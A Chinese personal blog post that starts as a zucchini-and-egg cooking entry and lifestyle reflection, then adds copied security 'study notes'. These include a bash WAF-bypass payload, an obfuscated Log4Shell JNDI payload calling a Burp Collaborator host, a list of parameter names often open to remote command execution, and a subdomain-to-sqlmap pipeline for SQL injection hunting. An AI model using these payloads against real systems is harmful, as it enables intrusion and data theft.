复现ECR-2023-0309西葫炒蛋

西葫炒蛋学习随笔 ECR-2023-0309

做饭

发布日期: 2023-03-09

更新日期: 2023-03-10

文章字数: 1.1k

阅读时长: 3 分

阅读次数:

Ax Introduction

独立的思维需要自我的沉淀与归纳之后的创新而产生，做菜也是如此。

编号：ECR-2023-0309西葫炒蛋

等级：高赞

版本：v 1.0

ECR（Enomothem Cooking Recurrence）伊诺烹饪法复现编号，由Enomothem于2023年2月24日由发现第一次做江西炒粉意外好吃而创建第一个编号ECR-2023-0224，用于记录根据平常烹饪而创新得到的好吃的食物，或者是觉得还不错的食物。等级有严赞，高赞，中赞和低赞。

最近感觉下班回家带电脑有点多余了，回家买菜做饭吃饭玩会手机，然后差不多就很晚了，所以有不想打开电脑的欲望，索性今天就不带回家。

回家为什么要搞那么累呢，下班不就是休息的吗，这么一想，玩也可以玩的没用顾虑，之前带电脑回去没用打开，然后反而有罪恶感，暗中念叨，又是消磨时光的一天，电脑都没打开，玩也玩得不舒心，现在没有电脑了，反而玩得舒服，然后还有点小闲，看看技术文章。

记录一下大佬们的笔记吧。我把这些日常小学习笔记，心得体会称之为『学习随笔』。

为什么要把日常感谢，甚至学习记录在做菜的文章里呢？

首先，我这是个人博客，并不是菜谱博客，所以单纯记录菜谱的做法，肯定是没有实用性。不如记录一下生活感悟。

其次，我认为生活中，学习和生活（吃饭、娱乐、琐事）是息息相关的，学习累了，就应该休息，学习饿了，就应该吃饭，学习乏了，就应该玩游戏，学习本就是生活的一部分，我们学习做饭，学习游戏怎么通关，再者，学习和生活的联系是很深的，对于某一天的记忆来说，你可能印象最深的不是学到了什么技术，而是在那天吃了什么好吃的，玩了什么好玩的。

Bypass Linux waf

$0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'

Found a bypass working for a few WAF

${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}

远程命令执行参数

Top 25 Remote Code Execution(RCE) Parameters
cmd=[payload}
exec={payload}
command={payload}
execute={payload}
ping={payload}
query={payload]
jump=(payload}
code={payload]
reg={payload}
do={payload}
func={payload]
arg={payload}
option={payload}
load={payload]
process={payload}
step={payload]
read=[payload}
function={payload}
req={payload}
feature={payload}
exe={payload}
module=[payload}
payload=fpayload
run=payload}
print={payload}

寻找SQL注入Linux命令结合

subfinder -d target | tee -a domains
cat domain | httpx | tee -a alive.txt
cat alive.txt | waybackurls | tee -a urls 
gf sqli urls >> sqli
sqlmap -m sqli --dbs --batch